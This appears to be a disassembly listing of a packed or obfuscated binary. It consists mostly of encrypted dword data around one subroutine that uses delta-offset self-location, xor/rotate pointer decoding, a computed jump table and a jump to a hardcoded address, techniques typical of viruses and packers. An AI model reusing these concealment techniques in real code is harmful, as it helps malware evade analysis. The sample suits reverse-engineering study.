		dd 0E84A7DA7h, 0Dh, 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh
		dd 0D78166BCh, 0E85BC36Ch, 13h,	0F847F917h, 0C174B843h
		dd 0FA300698h, 38CA8C92h, 0FE8DDA3h, 0C83h, 7E900h, 0FED40000h
		dd 6A4CAB04h, 0C3815A1Dh, 707Fh, 2BC28166h, 1BF3BE07h
		dd 0BF0F0000h, 60038BFAh, 0BD35E281h, 0F7B2204Eh, 0B4F08161h
		dd 0E90BE8F5h, 0Fh, 7B0FA517h, 0FAAAABFAh, 7086BA24h, 81832585h
		dd 2C0CD9C0h, 0DAF78153h, 813FFF71h, 0C94662F0h, 33B9661Eh
		dd 8BA508Eh, 8F355058h,	0EB81F503h, 56955864h, 5860C381h
		dd 0EE815695h, 1, 0FFA3850Fh, 8060FFFFh, 8B505AC6h, 8D615BF2h
		dd 2F65F8Dh, 6E95608h, 0C0000000h, 0D4F8E2A7h, 8D895FECh
		dd 7FA27C1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	0FFC35343h, 0DFDCBA7h, 52802022h, 585E5353h, 185C75Ah
		dd 0B007FA1Ch, 6000006Fh, 2C0D950Bh, 8D2907FAh,	7FA34C1h
		dd 0FE961h, 69890000h, 6E68B499h, 726ABB18h, 0A6C51888h
		dd 0ED85C7C5h, 7FA1Ah, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 2A9C352h
		dd 0B83CF731h, 7CEF1687h, 69DE8166h, 29B5FFB6h,	6607FA24h
		dd 9D89D78Bh, 7FA1C75h,	177D95FFh, 952B07FAh, 7FA2B79h
		dd 95FF006Ah, 7FA012Dh,	4AEBC08Bh, 32CF400Bh, 0F3367ED4h
		dd 26D33D62h, 2CBF24C5h, 0AF60862Ah, 533F4F01h,	0EC904B9Bh
		dd 0D0D9A21Fh, 0F18DDB95h, 6B867782h, 26214889h, 900B02CBh
		dd 0F21EE52Ch, 5E8F2BC3h, 0A6761313h, 9DCEDA30h, 2F8C8D0Ch
		dd 0FF5C78CCh, 8D8D9E4Ch, 802F723h, 0BEDBD89h, 8D8907FAh
		dd 7FA27C1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0D0C35646h, 0AEB82D8Fh,	4BE88E07h, 0F18D892Fh
		dd 0C707FA05h, 0FA1C0185h, 6EB407h, 0C794B300h,	0FA1AED85h
		dd 7, 31B25300h, 35B5FF5Fh, 8907FA17h, 0FA03C195h, 7D95FF07h
		dd 0BB07FA17h, 457D039Bh, 95FF006Ah, 7FA012Dh, 2DEBC08Bh
		dd 9409110Bh, 326BF194h, 0E7D04F8h, 86267230h, 0C08C1054h
		dd 2C8571C8h, 0A19A0288h, 0A97D4192h, 0CE424F6Eh, 2AFA9815h
		dd 26056A24h, 15FE9D7h
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_63125E	proc near		; CODE XREF: sub_406890+12Cp
					; sub_409C40+1Cp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 802F763h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_6313B4
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 89208327h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+7FA27C1h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0B22EDF43h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+7FA1C01h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+7FA1AEDh],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_631378
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA068Dh]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2D45h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA28C5h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2441h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA3419h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2B95h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA24C5h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA24A1h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA0CFDh]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA05EDh]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2651h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA1735h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA1855h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA11F9h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA2429h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7FA0235h]
		jmp	loc_63138C
; ---------------------------------------------------------------------------


loc_631378:				; CODE XREF: sub_63125E+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+802F7C4h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_63138C:				; CODE XREF: sub_63125E+70j
					; sub_63125E+7Bj ...
		call	dword ptr [ebp+7FA177Dh]
		pop	ebx


loc_631393:				; CODE XREF: sub_63125E+14Ej
		mov	eax, [ebp+7FA27C1h]
		cmp	[eax+4], ebx
		jnz	loc_6313B1
		push	ebx
		push	1
		call	dword ptr [ebp+7FA012Dh]
		pop	ebx
		jmp	loc_631393
; ---------------------------------------------------------------------------


loc_6313B1:				; CODE XREF: sub_63125E+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_6313B4:				; CODE XREF: sub_63125E+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_63125E	endp

; ---------------------------------------------------------------------------
		db 8Bh,	85h, 45h
		dd 8D07FA33h, 2F8B28Dh,	1418908h, 85C6C38Bh, 7FA1571h
		dd 30DF6856h, 0B5FFA9C5h, 7FA1E8Dh, 3A58858Dh, 0D0FF07FEh
		dd 2718D8Dh, 6A5107FAh,	0A9B5FF40h, 0FF07FA13h,	0FA0581B5h
		dd 0FFD0FF07h, 0FA13A9B5h, 81B5FF07h, 0E807FA05h, 6, 5F9B774Dh
		dd 5B5B6773h, 0C104EB83h, 0C102242Ch, 3022424h,	1CF7241Ch
		dd 0FFFF3324h, 81591F34h, 898C54C1h, 0B9E9814Bh, 817BEB0Ch
		dd 0DC79BDF1h, 3B0C8959h, 0FD22EF81h, 0C7814136h, 4136FD1Eh
		dd 0F243C3Bh, 1785h, 28E900h, 0EF640000h, 34AB4C9Ah, 9E1FF8F3h
		dd 0E8DF6CDAh, 0CA353CA2h, 0FFFFB6E9h, 856741FFh, 0BE197502h
		dd 0D00E5D98h, 406011F0h, 9D8D7D8Ah, 7FA32C1h, 0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	0E9C98B18h, 0BEh, 5B023A73h
		dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
		dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
		dd 0
		dd 0E0E90000h, 6800002Fh, 802FE45h, 0F7846FE9h,	9C68FFh
		dd 65E90803h, 68FFF784h, 80302B7h, 0F7845BE9h, 61568FFh
		dd 51E90803h, 68FFF784h, 80306FEh, 0F78447E9h, 88068FFh
		dd 3DE90803h, 68FFF784h, 8030A15h, 0F78433E9h, 0B7B68FFh
		dd 29E90803h, 68FFF784h, 8030CF2h, 0F7841FE9h, 102068FFh
		dd 15E90803h, 68FFF784h, 8031256h, 0F7840BE9h, 15B968FFh
		dd 1E90803h, 68FFF784h,	80317CDh, 0F783F7E9h, 1B0568FFh
		dd 0EDE90803h, 68FFF783h, 8031D9Eh, 0F783E3E9h,	229F68FFh
		dd 0D9E90803h, 68FFF783h, 80324D3h, 0F783CFE9h,	0F50FC5FFh
		dd 4BF1E11Dh, 0E620B7B7h, 45FFD41Ch, 1F25B1CDh,	134161F3h
		dd 757989BBh, 1559A95Bh, 78788AB8h, 0E86FA35Dh,	28F1F0D4h
		dd 2C4AC25Bh, 0D2AE1268h, 0EBFAFE06h, 44CA5E23h, 4192B21Ch
		dd 82AF2A56h, 5E244F56h, 0D96B66CAh, 0B5FBC8D9h, 23F6EDD9h
		dd 824FCA5Eh, 248B9A3Eh, 0CFE4CA5Eh, 50603CC8h,	4A6E7897h
		dd 6D8BFC39h, 0C2408D62h, 1CBAF11h, 0FFD905FFh,	89098E45h
		dd 0C6DD09A5h, 31CA5D46h, 0AD24360Bh, 0FAC7EBF0h, 83E3758Dh
		dd 743DB749h, 9F51615Fh, 63E1785Ch, 0B4202067h,	0D257D57Ah
		dd 39DE6737h, 0A9AB2D83h, 0F1CFE4DEh, 0C1BF458Dh, 0DDA7F02Ah
		dd 92B01D41h, 4B706B05h, 428FC263h, 0EBD86A65h,	50E1ED09h
		dd 634B7DA4h, 0F6CDD6C2h, 2DAC39FEh, 93AD5A21h,	5083EC27h
		dd 42A60AB6h, 0C2640023h, 315DBE8Eh, 0E2E048C8h, 1E18AFD1h
		dd 0A33A4DE6h, 7954F848h, 9CCDC0C7h, 0F0026F12h, 33D390E0h
		dd 636B908Fh, 0ECD8E9C2h, 5037C189h, 8EAFh, 97C11100h
		dd 43905Fh, 122EEE99h, 468F626Eh, 8A8007BCh, 25AACB0h
		dd 0CF62BA89h, 33FCF802h, 318D33A0h, 276F458Dh,	44E5AE70h
		dd 5DDAADB4h, 0B90A18CAh, 7B16A351h, 531D6A37h,	0D257B47Dh
		dd 0D2EA6272h, 6C0B2CA5h, 59931F1Bh, 6328B6B4h,	5337794Ah
		dd 63ED706Fh, 8FF8C9C2h, 0ED5E81F5h, 517DC263h,	545E6B4h
		dd 1FB4B934h, 27DDF9E5h, 54970ECDh, 3B1FFFF7h, 3F267193h
		dd 12C09C9Ch, 56410AEAh, 6F192637h, 20AB902h, 12B30000h
		dd 0B4E3616Eh, 0C8E409C4h, 5E24051Ch, 0A3555ECAh, 0CA5E247Ch
		dd 0B9F7CCD5h, 640C0695h, 56AED96Bh, 8D45AC2Ah,	48644C77h
		dd 5E24859Ch, 0C2D5DECAh, 0D0025E3Ah, 98FFC82Ch, 14C06D68h
		dd 0CA5E240Dh, 4A665D66h, 589CA826h, 603CC8CFh,	85FD743Ch
		dd 5D590F9Ch, 5D81948Bh, 4791EDCAh, 7F8106BDh, 342B9754h
		dd 8DCA5D81h, 0A1318F44h, 0C1651D2Ch, 933F8192h, 0CA5D5D8Ch
		dd 5FABDCE5h, 31D3FB5Fh, 62799266h, 0A804CA5Dh,	5D58253Ch
		dd 0C2367ECAh, 8D60E580h, 94E4B320h, 0E51FB439h, 801C24EEh
		dd 7CA9B81Ch, 0B102CA5Dh, 5D7C1847h, 376071CAh,	90748E49h
		dd 0C5DC08A4h, 1ECA5D7Bh, 3A000295h, 4B55F0DEh,	0D52E2CF9h
		dd 0C48D675Ch, 0CDB10Fh, 5E290202h, 76623E62h, 0CA5D466Fh
		dd 3BB94B86h, 14835072h, 57646E5Ch, 0AB1773D2h,	0C26328B4h
		dd 0E7D3C40Dh, 44DE77DBh, 7F54E456h, 92B01D41h,	322C672h
		dd 5CC263D1h, 7F0B7C47h, 7F57AF89h, 0EB20EC5h, 63D0BBEAh
		dd 0BFE612C2h, 18C263CFh, 8D47278Bh, 89376073h,	0E8E58925h
		dd 0E7119A5Ah, 0C263CFB8h, 21D7C011h, 0CA610ED8h, 0A6BD2985h
		dd 0FFBA668Fh, 0F9F21B2h, 4FB4705Fh, 1E1A6DF6h,	0ABBA1E82h
		dd 4BA66A2h, 3E98E8AFh,	3911D407h, 5288F67Fh, 5F0CB8DCh
		dd 0DFBCCE3Ah, 8DBF79AFh, 659F3A36h, 0A42E526Eh, 0BCCB64A0h
		dd 4DA4324Eh, 0AB848082h, 0FE6E8918h, 0D67CEAEh, 2B4CF0h
		dd 0BD478D00h, 93A92945h, 0AE687F7Fh, 8DB71C64h, 0A75D7975h
		dd 0B49695Bh, 0ADD141C3h, 0DF12123h, 0B0D042C0h, 60E71B25h
		dd 2669785Ch, 0A4C2C25Bh, 4AAE12D0h, 0CA5E241Bh, 0B4215F74h
		dd 0DFF7098Eh, 464E5726h, 114B798Bh, 0EAC6FD47h, 6A684986h
		dd 2A9932D2h, 0AD11AD5Dh, 5E011A49h, 395E73CAh,	5D738C47h
		dd 182CA654h, 7B8153DCh, 0E0E0F32Ah, 47AD577Ch,	9179197Eh
		dd 1B4AAE12h, 74CA5E24h, 8852385Fh, 3D613D83h, 5E248A99h
		dd 2ACEE3CAh, 0CA5E23FBh, 28187F54h, 5859D6BCh,	22AFCBD2h
		dd 0FED36F18h, 13319EC2h, 0D52F58F1h, 63EEFE21h, 8FB51DC2h
		dd 0B8728975h, 0E5047D3Ch, 0CEB28E68h, 2A030103h, 0D969805Dh
		dd 4BA95B75h, 269DA72Fh, 0B03D2C61h, 0EB8F026Fh, 40C20DE2h
		dd 0EF730493h, 95000001h, 0EAD6CDF9h, 0A22FC263h, 7D21FF5h
		dd 0EBD7B3FDh, 0CA5E23F4h, 983C844Dh, 0CA5E2489h, 3EC6D1E2h
		dd 8B9A3E62h, 0E4CA5E24h, 1E24B1CFh, 0A24F8779h, 5E242F36h
		dd 883B88CAh, 768E4428h, 0E123D9FAh, 0D9C53F48h, 4DA75D75h
		dd 30D0FC84h, 29789167h, 0BB03CA5Eh, 0C7145307h, 867225CFh
		dd 2342A64Bh, 3ACA5D80h, 794A689Ch, 0C55E664Ah,	0BC8D9827h
		dd 6A46C4D3h, 0B73DF706h, 7C57A9EEh, 981C43AFh,	2C75CA5Dh
		dd 9A351997h, 83651F68h, 2E35A1B5h, 45CA5D98h, 673C768Ch
		dd 0DBF8545Ch, 5FF05CEh, 0AD19972Ch, 0CA5D98B6h, 0E3D5C20Fh
		dd 0E0FFE3C7h, 0F7CA5D97h, 11A220DAh, 1CD8626Fh, 9E6C0493h
		dd 0A3D257B6h, 79C4DB07h, 941DC263h, 6B573703h,	0C2637A74h
		dd 0F1CF04CDh, 0ACDAF3E1h, 27EEA50h, 0FEC72DD7h, 1935F999h
		dd 0BC288882h, 0C26418A5h, 0A0E2B5FEh, 0BAF111Ah, 6417B8E7h
		dd 0C0C011C2h, 4009EB15h, 69456957h, 0B038CA05h, 0C26417B1h
		dd 2ACEB90Ah, 0CA6153C0h, 9CC32F8Fh, 0F5BA66DAh, 99917ACh
		dd 0CB60FAF7h, 2A1681F3h, 3A2F3E86h, 21452742h,	0B94C8A76h
		dd 2547043Eh, 0F6BA0909h, 0BD372E9Ah, 4390BA66h, 56FAB654h
		dd 0CDFCC87Ch, 61D55C68h, 0CA04F4A3h, 0B6A4BB27h, 0B5FDBA66h
		dd 7B6F014Eh, 0FC40FC1h, 0AFEE69A2h, 0E7146CCEh, 28F5h
		dd 9C669E36h, 3CC67E54h, 976BA534h, 52C07A57h, 6EA4A02Eh
		dd 3896BEE8h, 0DEFAF60Ch, 3B94DC26h, 0DAF5F909h, 0D1EFDA28h
		dd 5B23FE25h, 0FDFD57C2h, 0E2626E12h, 0BB278922h, 0CA5E24A4h
		dd 95E3B4FDh, 0D5CCF839h, 2ECA5E23h, 0A8B71BA5h, 1CA5E24h
		dd 4FEF23B0h, 854F9C2Bh, 23B0797Bh, 0A4498474h,	5E242140h
		dd 9A297ACAh, 0F788E16h, 632CB7EBh, 76DAD634h, 7F48AC58h
		dd 0AE120418h, 5E241B4Ah, 385F74CAh, 4D738D48h,	5A9AA031h
		dd 623EC6D1h, 248B9A3Eh, 36A2CA5Eh, 781FB40Eh, 34A04D88h
		dd 0CA5E242Dh, 2A863D86h, 24436286h, 79CCA5Eh, 522E1280h
		dd 0AE777D87h, 0F9FB01D2h, 82196730h, 1F38B689h, 596B8F37h
		dd 83DDF614h, 40805307h, 919DFA70h, 8D3735DFh, 31E7EE76h
		dd 3AC2D50Ah, 913EB31Eh, 9933FA74h, 1FB4046Ch, 39774CE5h
		dd 0E4727155h, 0A3CBCA5Dh, 57F0142Eh, 3BF5046Ch, 0EBA7F0B9h
		dd 6AF05E48h, 6740C50Eh, 0FDDB5E18h, 55DE16ADh,	669EA02Bh
		dd 0D6BAF6CDh, 5D4BF3F2h, 2B5C5ECAh, 12E3FE2Fh,	735D23B0h
		dd 96FAC6D1h, 39941DBAh, 6F64ED07h, 0DBE5028h, 613DD258h
		dd 63E36E75h, 0C9FAC7C2h, 0B94B83E7h, 0F18D33CEh, 0BA460DAh
		dd 13EAF47Ch, 6347B9EEh, 0D9B2607Fh, 9FE8B9CAh,	6279CD6Bh
		dd 0D951BA8h, 0BC283AB7h, 0FBBFE398h, 0C66B497Bh, 18744453h
		dd 71559834h, 0CAD9E172h, 0BACDF6CBh, 0D3E4C836h, 448FEFD2h
		dd 3A709BAh, 0DFDCC0DFh, 0B4AB17C2h, 0DC2DFDDh,	7462FEC4h
		dd 289B34D0h, 0F5C3A55Fh, 0C604CCF4h, 0F85745E5h, 64903057h
		dd 0CADE0191h, 3DB01C40h
		dd 0BA937193h, 1E62EB09h, 0DB7490B4h, 60720EACh, 0F18F18DCh
		dd 0E975DE7h, 339FFBC5h, 0BAE18D2Ch, 6D4B3C85h,	0ECE9C611h
		dd 0BE159E56h, 0D4705E02h, 0A2F09730h, 0E85F169Eh, 722178C2h
		dd 0F3F8D325h, 0E07E27D8h, 8E9152A3h, 6C963B45h, 9D14BF88h
		dd 0CE34665Eh, 0DA401D77h, 1B000026h, 77778BB5h, 8D71A15Bh
		dd 324EC47Eh, 87679BA1h, 775DB54Fh, 3BC9054Fh, 132DA7C7h
		dd 2CD6FFFFh, 53F9AD6h,	52764A0Dh, 0C25B2253h, 12CACAACh
		dd 0FD07D2AEh, 9BCA2EF7h, 0F4CA5E24h, 0DC8B8DFh, 0F50F09A0h
		dd 0B18D675Ch, 0BE128521h, 0D2C50AB3h, 9F212AB0h, 2C339FFBh
		dd 85CA5D4Eh, 4EB5AC3Ch, 0CCCA5Dh, 872B0400h, 4F6B4D3Ah
		dd 579DA72Bh, 92FC9CEh,	0AED2575Bh, 0EA54FB26h,	16AF55EFh
		dd 0D4FFA2AEh, 7B57F7C3h, 0D2AE12C1h, 172DAA07h, 857F54DDh
		dd 8F2FDBACh, 3D98C72Bh, 0E0F1C263h, 0F105D3B7h, 46BE448Dh
		dd 3D647B6Dh, 0F4BDC263h, 46BE468Ch, 0F65A566Dh, 49FBD5DCh
		dd 0E6B122ABh, 9FEEB6DAh, 1FE852C0h, 291BD5C2h,	36CA5E57h
		dd 62D1AF6Eh, 0EB9C98E2h, 0D1EF834Fh, 0C0DA126Ch, 0E511AD13h
		dd 0BA693DBEh, 7FFD8A17h, 0F5330B93h, 0F629C0A0h, 98B4E791h
		dd 0FAD3BA69h, 2D614449h, 63700E40h, 0EC26B5A1h, 0ECD5408h
		dd 0DBFEC541h, 5D68535Bh, 0BE6CBE45h, 9CEB11C2h, 61E6F869h
		dd 22B0CC0Ah, 4651DA1Ah, 0C6B9h, 6E12B300h, 0D4B6E163h
		dd 9FBB0506h, 92A20C35h, 4BF5F311h, 0E4B37C78h,	594B8D4h
		dd 5038E10Ch, 5CE32F8h,	976126FFh, 0D25866D7h, 5DE7EC90h
		dd 0EC16BB97h, 3943F08h, 6DBA1737h, 63C85A89h, 0B51EB3C2h
		dd 634D764Fh, 718CA45Bh, 395E2CC6h, 5EAE387h, 0F1BA3AC8h
		dd 0EC9030E2h, 0C23661E3h, 0C263F3A1h, 16BCA0FCh, 0AB3D16EEh
		dd 0C263F3B4h, 0D8FCC40Dh, 0C263F2C9h, 0FA069122h, 0FB01D2DFh
		dd 4F84E8C8h, 77774FB5h, 151CFCBCh, 246E19AAh, 5CA9401Ch
		dd 63E66978h, 0E2F1C2C2h, 6B993622h, 8413C089h,	4BA95B74h
		dd 0C86A5F6Fh, 41500C1Fh, 0F3E13DE9h, 44538AB7h, 24F033h
		dd 264D5500h, 34771758h, 12C8CCBBh, 241B4AAEh, 5F74CA5Eh
		dd 83885238h, 8BB1213Dh, 9B7E069h, 0F40EC9A5h, 0D8BF418Ch
		dd 611E4C20h, 67710DD2h, 29071ECAh, 5360C25Bh, 0DCAB8480h
		dd 0AD5782DEh, 25CA7F47h, 8A79963Fh, 4A268A39h,	6F76628Fh
		dd 0C8C25BF6h, 0A42CC8FBh, 6CDA1E9Bh, 0FA8D364Eh, 0D5FE623Eh
		dd 844FF1DCh, 0A0E0A780h, 1DA50B35h, 0E643EFF2h, 0BD478FF3h
		dd 32656E37h, 10B4D8D8h, 0C25C2211h, 522E596Ah,	677E6A87h
		dd 0D2C25C22h, 91246549h, 0DEF3CF92h, 9B230FF5h, 0ECDC108Fh
		dd 19B6BA18h, 0D4669CEBh, 6D9E9C7h, 0B7F9CFD2h,	1628A3CDh
		dd 0CFEBCF71h, 5B32FC23h, 85BF13C2h, 4D23743Dh,	0CA5E2CF6h
		dd 0E58DC50Dh, 254AB38Eh, 0B5FBC872h, 0AB5975D9h, 0E9178049h
		dd 2ED401EEh, 0FB3FDD6h, 0BA588810h, 456B5869h,	2565E87Dh
		dd 0D55E96ACh, 0F64A82FFh, 0C3170EBAh, 6370BA58h, 0B6DAD634h
		dd 58C31312h, 59576CBAh, 58C3766Dh, 9502CFBAh, 0DAD66863h
		dd 0C31312B6h, 576CBA58h, 0D8E8D430h, 3A2CFE65h, 0EB1F6890h
		dd 968D394Dh, 0EFBA5829h, 6596A8E3h, 0BB081148h, 35C4A808h
		dd 6730F9FBh, 0BD193559h, 0FA780087h, 31C2528Ch, 876B844Dh
		dd 0B25E5658h, 51B320B1h, 56628165h, 0E6BBB25Eh, 63893DDh
		dd 0C36BE4BDh, 0A6AD6B7h, 237CEDh, 0ED17BD00h, 43F9D915h
		dd 1E18AFCFh, 3DC70CF4h, 172DA9C5h, 1B3959EBh, 7D8191B3h
		dd 1D61B153h, 808092B0h, 7057AB55h, 1E79A84Ch, 0B4D2C25Bh
		dd 24174AE0h, 2E76CA5Eh, 6D77F344h, 64A6F14Ah, 0F16C2D6h
		dd 68CA5D4Eh, 88BA155Bh, 0AD19753Bh, 0CA5D4EB6h, 0E3D5C20Fh
		dd 182AA3C7h, 4782096Fh, 368BD260h, 0B3B2167Ah,	0CC25A54h
		dd 0CCF0D0B7h, 0A11F19B0h, 5A542E35h, 4D3A87C2h, 0BC4BA02Bh
		dd 1AA98282h, 9F590E96h, 0CC150CB8h, 656EC25Ah,	369EA26Fh
		dd 12BDC151h, 0C211339Dh, 929A2042h, 0C2DE8783h, 813F94BDh
		dd 0B252F0DDh, 0C57F5719h, 1F21663Fh, 0E98B337Bh, 0F1E3CBA8h
		dd 0D9BE788Fh, 5465D91Fh, 0E4367ECAh, 63A907FAh, 5700E40Eh
		dd 269DABD9h, 9420419Eh, 60273CC9h, 0D605162h, 0C8CEB5C1h
		dd 22938B68h, 0FCD40000h, 20B2CE44h, 0F30AE61Ch, 2CA5C939h
		dd 0CA04EC16h, 0D4FEC83Ah, 64AE5680h, 8290B01Ch, 5FB3517Eh
		dd 788AB41Fh, 0D807EBD1h, 31C25B1Dh, 0AE123F53h, 5E241B4Ah
		dd 385F74CAh, 74608D48h, 0CA5E246Dh, 0EAC6FDC6h, 8F0AC4DAh
		dd 0F5A2204Eh, 0DF606B87h, 18BE4909h, 88462AE2h, 24AF787Ch
		dd 0EC14C09Ch, 0AC583F08h, 2BA702D0h, 1642C211h, 0E36C88BCh
		dd 0F60E349Dh, 5EEBEE67h, 10ADF5ABh, 0A5FC4151h, 1FBAA3F4h
		dd 957D7DECh, 9C2B4F05h, 7B79834Fh, 4AE321B2h, 149CBA3Dh
		dd 0D6DE0000h, 0DE1C3339h, 46FCD941h, 0E9AE25AEh, 5F6E12B3h
		dd 23FF26D2h, 4B58CA5Eh, 0E4B37C78h, 13BC1C9Eh,	893A13F1h
		dd 405F8327h, 0ABCA5E24h, 9E69CB3Ch, 46C46DAh, 0F0B93BF5h
		dd 0E004B4E3h, 0D2608A76h, 34CE0763h, 8282824Ch, 0BCE4DEA9h
		dd 5A970918h, 825162C2h, 0C236763Eh, 7844AFD9h,	299B5215h
		dd 0B0D784AFh, 39D0AC10h, 5B2C05FFh, 3090B21Dh,	9C2B864Ch
		dd 0FAC962A2h, 0AC6631FAh, 0E409C4h, 0C25A7CE1h, 9A5A693Ah
		dd 0E32EB6FEh, 195B4151h, 0A4D70A6Eh, 5A36C25Ah, 5AA5776Eh
		dd 9403D0C2h, 428CEC6Eh, 1FAF11C2h, 0B014B5F3h,	0C25A85B1h
		dd 0C80BB90Ah, 55633467h, 72715539h, 0CBC25AF7h, 91E791F6h
		dd 36CA5503h, 1483B91Ah, 228F4A26h, 0DE678DB7h,	8D360FF5h
		dd 0B52FC714h, 0C9B60ECEh, 2111h, 887A8252h, 40D26A68h
		dd 0A36FA940h, 36CC765Bh, 9A689C3Ah, 0CCA8AACh,	0EAE60AF8h
		dd 0FC8A85Ah, 0F6E11DF5h, 0AD13B64Ch, 5B1C1A49h, 11173C2h
		dd 0E1636E12h, 0A20FCAB6h, 8BDD120Bh, 819F7B38h, 1B3F8152h
		dd 0DF688CB6h, 60704CB8h, 0A73265CFh, 0BE3A279Dh, 5848765Eh
		dd 9A05EEEBh, 0EBC00BEDh, 8F765EE0h, 40C53203h,	0B0CCF4DFh
		dd 0C781F19h, 42FBC379h, 0F88ACF41h, 2DAC395Eh,	0DFC8C50Dh
		dd 16812EC9h, 9DCD9C71h, 0BB9F0595h, 0DC9BEC16h, 1322h
		dd 89B3203Ch, 0BB458F6Bh, 129D7F08h, 6EC573C2h,	296E3CBCh
		dd 5DE74C4Fh, 0D623ABCAh, 0D0E61332h, 0AB2D5542h, 4950149Fh
		dd 7162C17Ah, 70CE7F4Fh, 71647543h, 0ACAE1A26h,	19D26085h
		dd 92525175h, 16ABC25Ah, 9EDD171h, 0C25A91DAh, 8B359E33h
		dd 2D5AE4EFh, 824B2F8Bh, 0DCAB8480h, 13BC319Ch,	9626EF2h
		dd 0D1027F9Ah, 30A2BE02h, 0A84CE80Ch, 0C25B1A79h, 0AED201D2h
		dd 48E12321h, 0CFEBD33Fh, 5B19FC23h, 3B4C55C2h,	7C71923Dh
		dd 6451157Ch, 0B14396B2h, 863D6425h, 0FCD7733Dh, 9EE9C242h
		dd 0B8163AE6h, 3107FB8Ch, 83585A29h, 0E6F590CCh, 842C972Ch
		dd 77894428h, 5ACF7271h, 65C3DDC2h, 0B55B5794h,	0E5D3C40Dh
		dd 172DA5C9h, 0AD4354DDh, 0CA54FE8Fh, 0E74F6C34h, 6319D1FEh
		dd 1D3E8634h, 0A9B81C13h, 2BA60AAh, 69C423B1h, 0F60BD400h
		dd 9C45FEAh, 0D24CE7BAh, 2789CEB5h, 1F7C4Ah, 0ED17BD00h
		dd 43F9D915h, 1E18AFCFh, 3DC70CF4h, 172DA9C5h, 1B3959EBh
		dd 7D8191B3h, 1D61B153h, 808092B0h, 7057AB55h, 1A79A84Ch
		dd 0B4D2C25Bh, 4AAE12E0h, 0CA5E241Bh, 63A19B32h, 0ACDBE8CAh
		dd 8EC01CCh, 0CA5E23D9h
		dd 8E32A132h, 249FC632h, 0ABF8CA5Eh, 2C7420DCh,	0AC29034Eh
		dd 1CBF2E96h, 0F113319Eh, 0A1456B58h, 0CA5D4182h, 0BFC1C6DBh
		dd 0EAC6EA14h, 30B84C86h, 0CA5D4131h, 0B64E398Ah, 11F309CAh
		dd 9C58EAE5h, 23CBC414h, 0F3E490A8h, 0A762EFEAh, 337BBB1Eh
		dd 3B413F24h, 216433C0h, 595F230h, 57D1E884h, 1174CF30h
		dd 8DF10000h, 6740C47Eh, 0FEDCFC20h, 4FBEBCFEh,	5F839BC2h
		dd 0CA5D3840h, 8BB0899h, 0F709C4A8h, 556334FDh,	72715539h
		dd 0CBCA5D38h, 0C2E791F6h, 5D26031h, 13DE56BDh,	5D3A8A84h
		dd 222067EBh, 0EF8B2F91h, 129B59E3h, 5A2BBFE6h,	0E58B18C2h
		dd 8C2C5BE9h, 555BE5F0h, 0CE26DCF9h, 38F89205h,	6D87B914h
		dd 2BFE25D1h, 4A57C25Ah, 0E7F20E79h, 2C879E4Ah,	0D3E0C25Ah
		dd 34180400h, 0C0896BA5h, 2BFE21D7h, 15DC25Ah, 1CA2AD0h
